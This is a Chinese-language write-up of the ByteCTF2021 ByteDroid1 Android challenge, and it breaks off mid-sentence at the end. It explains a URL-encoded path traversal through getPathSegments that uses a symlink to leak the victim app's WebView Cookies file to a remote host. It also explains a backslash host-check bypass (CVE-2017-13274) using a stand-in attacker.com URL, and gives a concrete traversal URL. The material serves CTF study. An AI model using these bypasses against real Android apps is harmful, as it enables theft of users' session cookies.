ByteCTF2021 ByteDroid1复现

type

status

date

slug

summary

一、漏洞APP分析

1. AndroidManifest.xml

AndroidManifest 只声明了一个导出的MainActivity 和一个非导出的FlagReceiver ，FlagReceiver用于设置Flag

2. MainActivity

MainActivity 中先检查APP数据目录下/cache文件夹下是否有index.html，如果没有则解压资源文件中的game.zip到cache目录实现WebView离线加载 ，然后就会接受getIntent().getData() 如果没拿到或者没通过host和scheme的校验则设置为指定的index.html

如果通过校验则被webview加载，然后被shouldInterceptRequest拦截到后再次验证，先是使用getPathSegments对路径进行分段，对第一段内容和最后一断后缀进行校验，如果通过则通过InputStream 读取内容并且通过return new WebResourceResponse(null, "utf-8", ItemTouchHelper.Callback.DEFAULT_DRAG_ANIMATION_DURATION, "OK", headers, inputStream)返回，实现离线加载的效果。

3.FlagRecevier

FlagReceiver 就是接收广播设置flag的接收器，搭建环境时通过

adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.bytedroid1/.FlagReceiver -e flag "flag{happy_hack}"

设置flag

二、攻击APP构造

1. 攻击方案一：`URLencode`配合`getPathSegments`实现路径穿越

首先就要想到绕过第一层校验，让WebView实际加载恶意的html，可以通过路径穿越绕过，加载Attacker App内部存储的html文件。因为MainActivity中有一个List<String> pathSegments = uri.getPathSegments(); 实际就是对路径进行切分，然后decode。如果不进行URL编码，那么路径穿越中间部分的../ 都会在WebView进行加载时被去除，从而使得在shouldInterceptRequest 拦截到后的url中不含有返回上一级目录的url部分，从而失败，但是由于存在getPathSegments 就可以先编码，然后解码之后成功实现路径穿越。

这里的evil.html实际是访问的攻击APP数据目录下的恶意html，要实现的功能就是访问http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata/data/com.bytectf.pwnbytedroid1/files/symlink.html ，从而再次被拦截后路径穿越，访问到symlink.html ，它指向被攻击APP数据目录下/app_webview/Cookies文件，从而导致Cookies泄露并且将结果传送到远程。

2. 攻击方案二：`CVE-2017-13274`

"special" URL schemes (which is basically all commonly-used hierarchical schemes, including http, https, ftp, and file), the host portion ends if a \ character is seen, whereas this class previously continued to consider characters part of the hostname.

也就是说反斜杠\ 在CVE-2017-13274完成修复后会被视为Host的结束，而非Host的一部分。

也就是说可以通过构造http://attacker.com\\.app.toutiao.com/bytedroid1.html这样的路径来绕过Host的检测，使其直接访问远程的bytedroid1.html ，远程此时就可以通过路径穿越读取Cookies，前提也是要创建好symlink.html ，后面本质与方案一没什么区别，就不展开了

⚠️

扩展：如果使用equal校验完整的Host，可以使用@进行分割：